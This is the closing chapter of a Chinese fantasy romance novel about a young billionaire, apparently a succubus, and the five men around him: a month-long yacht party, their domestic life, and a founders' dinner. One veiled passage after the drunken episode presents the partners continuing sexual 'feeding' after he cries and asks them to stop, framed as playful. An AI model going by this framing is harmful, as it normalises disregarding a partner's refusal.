他在各地都购置了豪宅,加起来也有几十个,每个都有独特的风景和奢华装修。 沈邵为了方便他挑选住宅,把他名下豪宅做成图文并茂的文件,方便他挑选。 夏天就要去位于山顶的别墅避暑,享受盎然绿意,冬天就要去位于海边的别墅,享受日光和碧蓝海水。 总之四季不同时间都有适合的别墅可以居住。 怕他无聊,每个别墅都是一样的游戏配置,保证他在哪里都可以玩游戏。 而且各地的厨师都经过沈邵的精心挑选,确保厨艺能够满足叶临的需求。 除开豪宅之外,叶临还购买了私人飞机场,游艇,飞机,满足自己的出行。 他现在才明白,为什么有钱人会把飞机和游艇当成大玩具。 毕竟有钱到一定程度,小物件买无可买,就会买这些大物件玩。 入夜后,四层高的巨大游艇漂浮在海面上,犹如一座金碧辉煌的神庙。 寺庙的用材极尽奢华,庙宇中心的神明是叶临,被万人供奉。 这场宴会不仅有国际巨星,也有老钱和新贵,都在庆祝叶临的生日。 如今的梵星市值已经万亿,涉猎各个领域,是毋庸置疑的商业巨头。 而叶临的身价自公布后,就一直高居榜首,成为名副其实的世界首富。 众人都羡慕这位首富,他才年仅29岁,却达到了如此高的成就,空前绝后。 据说他不近女色,为人和善,还热衷做公益,从不摆架子,是个淡泊名利的好男人。 有无数姿色上乘的人想要靠近首富,但都会被无形的力量阻挡,难以前进。 巨星高居舞台,表演完,邀请宴会的主人上台跟他合唱。 叶临走到台上,拿起话筒,试着唱了两句。 声音是好听的,但有些跑调,而且卡顿,称不上歌曲。 可是依然有无数人为他鼓掌,夸赞他的声音,将他奉为明日之星。 叶临垂眸去看台下,发现茫茫黑夜里,众多光芒汇聚如群星,而他站在正中心。 金钱是万能的,只要足够多,什么好处都会朝着你汇聚而来。 叶临有瞬间觉得自己像是被人追捧的神明,有瞬间又觉得自己像个万人膜拜的帝王,浑身都散发着光芒。 今天夜里,所有人都会看着他的脸色说话,没有人会让他不舒服。 人人都会为了讨好他,想法设法,是令人沉迷的上位感。 叶临走下舞台,听着各路谄媚的话语,心情愉悦地拿起一杯酒来喝。 酒精是催化剂,能够让周围的一切看起来像是梦幻的天堂,让人永远不想离去。 游艇将持续地在海上航行一个月,每天每夜都是奢靡的宴会,美酒和佳人,以及恭维的话语。 他从前穷得只能买二三十的衬衫,现在却富得花一亿像是花10元,巨大的反差会形成不真实感。 “叶先生,我仰慕已久,敬你一杯。” 叶临听见声音,抬头去看,是个长得眉清目秀的小男生,大概二十出头。 男生笑着自罚三杯,以示恭敬,紧接着就夸赞叶临的人生事迹。 “叶先生,请问你是靠什么成功的?” 成功人士听到这句话,大都会抒发自己的表达欲,享受被后辈崇拜的姿态。 叶临听到这句话,却是陷入沉思。 男生趁机靠得更近,希望这位富人能够看上自己:“想必叶先生应该付出了超越常人的努力吧,还有卓越的智慧” 叶临听着他将自己吹得天花乱坠,抬手打断:“我确实付出了很多努力,但管公司的是顾柘和沈邵,开发技术的是楚诏,应酬是顾嘉致和梁文乐。大部分时间,好像不需要我做什么。” 男生笑起来:“那看来,叶先生有五个得力的属下。” 叶临喝了酒,神经被麻痹,对人没有多强的防备心,摇摇头:“属下,这个词不好听。” 男生将手放在叶临的肩膀上,低头轻声道:“叶先生,你醉了,我送你进去休息吧。” 叶临刚想回答,就听到熟悉的声音。 顾柘将男生的手甩开,抱住即将摔倒的叶临,眼神阴鸷,像是护食的老虎。 男生吓得不敢说话,连忙退后。 梁文乐在旁边着急道:“他喝酒会加快饥饿值的增长速度,快点离开这里。” 顾嘉致:“什么,居然有这种事!” 沈邵:“我走的时候叮嘱楚诏看好叶临,这家伙跑去哪里,才让外人有机可乘。” 顾柘:“你能够有什么事,不能一直陪着叶临!要是我来晚一步,还不知道会被带去哪里!” 顾嘉致:“顾柘,你就知道高高在上地指责他人,以为自己永远不会犯错吗!撒开手,我来抱他!” 梁文乐:“都让开,我来抱!” 叶临听着耳边吵吵嚷嚷,气得推开顾柘,朝着前方摇摇晃晃地走去。 烦死了,动不动就吵架! 合作这么多年,各个都要奔三的人了,能不能成熟点! 叶临骂骂咧咧的,沿着扶梯往下走,却感觉天旋地转,只能靠着墙壁停下来休息。 梁文乐率先扶住他,抬手去试探体温:“比平时高,你现在饥饿值多少了?” 叶临感觉自己的脑子里有水,疯狂晃荡想倒出来,结果头晕得厉害。 他有钱后哪里吃过苦,什么事都是别人帮忙。 现在只是头晕就受不了,难受地直哼哼:“沈邵,我的头好难受。” 沈邵趁机让他靠住,连忙哄:“哪里疼,我看看。” 叶临扒拉着他的脖子:“难受,走不动路了,要抱。” 顾柘抢先将他抱起来:“肯定是喝酒多了头疼,赶紧给他准备醒酒汤。” 众人在旁边追着,想抢夺叶临,又怕他掉下来摔倒,只能暂时忍耐。 叶临闻到顾柘身上的木香,想吐的感觉减弱,总算舒服了一些,抓着袖子问:“顾柘,你喷的什么香水,还挺好闻的。” 顾柘:“还头晕吗?” 叶临摇摇头,仰头去亲他,轻声笑起来:“凉凉的,喜欢,还要” 宾客们瞧见叶临这个举动,都感到震惊。 全场的目光焦点都聚集在叶临和顾柘身上。 这一刻,哪怕没有结婚证,都相当于在官宣,告诉所有人他们的亲密关系。 顾柘心情不错,低头回吻。 叶临被亲得没力气,还有点呼吸不过来,抬手就扇了顾柘的脸,骂道:“讨厌你!” 顾柘感觉到他在疯狂挣扎,想要跳下去。 “走开,我要顾嘉致抱!”叶临刚骂完,就感觉到有人在扯自己的手,顺势靠过去,就进了梁文乐的怀抱。 梁文乐没有做任何多余的动作,只管往前冲。 他知道叶临的饥饿值会受到酒精的影响,才不要让外人看见叶临魅魔的样子,跑得比风还要快。 顾嘉致趁机绊住顾柘,沈邵顺势跟过去。 与此同时,被人灌醉倒在角落里睡觉的楚诏醒过来,揉了揉眼睛去找叶临的身影。 结果听路人说了顾柘的事迹,连忙朝着卧室跑去。 到了房间里,叶临总算感觉到饥饿值的威力,拽住顾嘉致的衣襟,主动索取。 身后的尾巴不断地摇晃,彰显着魅魔的心情愉悦。 可是桃心很快就被坏心眼的沈邵抓住,故意捉弄。 “放,放开我的尾巴!” “不放!” 魅魔还想骂这个混蛋人类,可是又被致死量的木香包裹,难以分神。 单调的木香之中很快又混合了花香,层次丰富,变得更加好闻。 魅魔感觉自己吃了好多饭,怎么吃都吃不完。 不停有人喂,都分不清。 后面,魅魔都开始害怕,呜呜咽咽的哭起来,捂住薄而窄的肚子,要求停止喂食。 可是邪恶人类怎么可能听话,只会跟单纯地魅魔对着干。 一个月,宾客散去,游艇开回特定的地点维修保养。 叶临回到郊外的别墅,对游艇和海洋产生了恐惧。 他回想起那个月的混乱不堪,就不敢再登上游艇,只想*好好地呆在家里。 大家都看出叶临有阴影,短时间内没有再提饥饿值的事情,都变得安分守己。 叶临越想越生气,把他们挨个训了很久,还用东西砸人,发泄了大半个月才勉强消气。 太过分了,这些人明明是他的员工,却以下犯上,不懂礼貌。 哪怕是闲暇时间,叶临还是会骂人,疯狂消费。 傍晚的夕阳从落地窗投射进来,落在地面上。 地板的质感好,像是沁水的玉,夸张的面积可以将瑰丽梦幻的晚霞倒映出来。 叶临躺在舒适的宽大沙发,将脚放在沈邵的怀里,嘴里在嚼葡萄,手里捧着平板玩游戏。 沈邵低着头,在帮他剪右脚指甲,动作缓慢细腻,像是在完成某种重要的仪式。 太美了,像是羊脂玉,各个小巧圆润,让人爱不释手。 好想亲。 沈邵闪过这个念头,低头落吻。 楚诏看见他剪完最后一个指甲,连忙将他挤走:“让开,左脚的指甲让我来剪。” 沈邵按照规矩,站到一边等待。 楚诏小心翼翼地剪,手指还会来回地感受质感,神情陶醉。 顾嘉致刚从外面回来,看见他们两个人动静,立即走到叶临的头一侧抱怨:“我今天遇到贼难缠的客户,烦死了!” 叶临习惯性地仰头吻他,以示安慰。 沈邵嫉妒地眼红,也要凑过去讨要。 刚做完发型的梁文乐走出衣帽间,看到这一幕,急忙跑过去要求公平对待。 最后还是顾柘的出现,才阻止这场闹剧。 他带来一个消息,梵星几个创始人相约在饭店,庆祝成功。 叶临窝在家里,好久没见刘闻,也想出门去跟好朋友聊天。 于是吩咐梁文乐去挑衣服,而顾嘉致和楚诏找配饰,沈邵帮他做发型,顾柘充当支架帮刷手机。 这样高效的安排,半个小时后就能出门。 聚会的地点是在江边的一处饭店,位于高层,可以俯瞰城市夜景,装潢奢华大气,隔壁还有配套的按摩间,提供各种贴心服务。 饭桌上必有酒,还都是难得一见的好酒。 叶临看着心痒,可是想到游艇上的遭遇,顿时不敢碰,只能用饮料代替。 刘闻举起酒杯,朝着叶临的方向敬:“第一杯先敬叶临,因为你才有了梵星。想当初,我们的条件艰苦,还是你不断地鼓励大家,拿出启动资金,才能有今天。” 叶临拿起杯子回敬他,由衷道:“刘闻啊,说实话,你现在是我最好的兄弟了,过命的交情!” 以前最好的兄弟是顾嘉致,中间发生了很多事,现在就不是了。 刘闻喝完一大杯,又看向沈邵:“第二杯就是要敬学长了,你当年辞职来到梵星的勇气,我非常佩服。而且学长懂我的想法,人生有一知己,很不容易!” 沈邵笑起来回敬他,还调侃:“少喝点,对身体不好。” 楚诏:“对啊,你家里有老婆孩子在等你。” 叶临听到“老婆孩子”,脸就垮了,埋头看酒杯,心情郁闷。 顾柘剜了楚诏一眼,希望这个没情商的蠢货闭嘴。 这也不怪楚诏,他常年处于技术岗,不会察言观色。 梁文乐出声把话题转到别的事情上,让酒桌重新回到正常的氛围。 顾嘉致举起酒杯配合,都在说梵星发展的历程,没有再让妻子和孩子这些词汇出现。 叶临慢慢地也被这种热络的氛围感染,忍不住喝了几口酒,加入进去。 深夜聚会即将散去,大家都在饭店门口告别。 刘闻已经醉得脸红,刚想上车就被叶临叫住,只好回头。 叶临低声问他:“有老婆和孩子,感觉怎么样?” 刘闻闭了眼睛回味:“就是家的感觉,很温馨,在外面不管多累,回到家就能放松。我老婆很漂亮温柔,孩子成绩好,真的很幸福了。” 叶临从前就幻想过这种画面,可是现在再也无法拥有,不由得心生感伤。 但他毕竟是大哥,怎么能在小弟面前伤心,只好笑着祝福刘闻离去。 回去的路上,他一语不发,脑子里不断地回想刘闻的话,去预想自己原本的人生。 大家都知道叶临心情不好,拼命地讨好他,但是没有得到多少回应,不由得紧张起来。 罪魁祸首楚诏恨不得扇自己的嘴,穿越回去,不要再提老婆孩子这种话。 家里有智能感应装置,只要打开门,公共区域所有灯光都会亮起。 叶临推开门,看到沙发,饭桌,落地窗,跑步机,钢琴,画架 这些家具上面,都会浮现出各种人影。 沈邵和顾柘会在茶室品茶,楚诏在跑步机健身,梁文乐在画画,顾嘉致躺在沙发看电影。 很多年了,一切区域都有固定的主人。 怎么不是温馨,不是家里的感觉呢? 叶临走到落地窗前,看着万家灯火,也会想到自己旁边的几盏:“其实现在的生活就很好” 所有人都松了一口气,难得齐心协力地祈祷彼此永远不分开。 如果你问叶临:不是说钢铁直男,怎么不想结婚生子了? 叶临无法回答。 如果你问叶临:能放弃现在的生活吗? 叶临会斩金截铁地回答:不可能! 所以呢,没必要追求答案,幸福地过完余生就好。 ——全文完——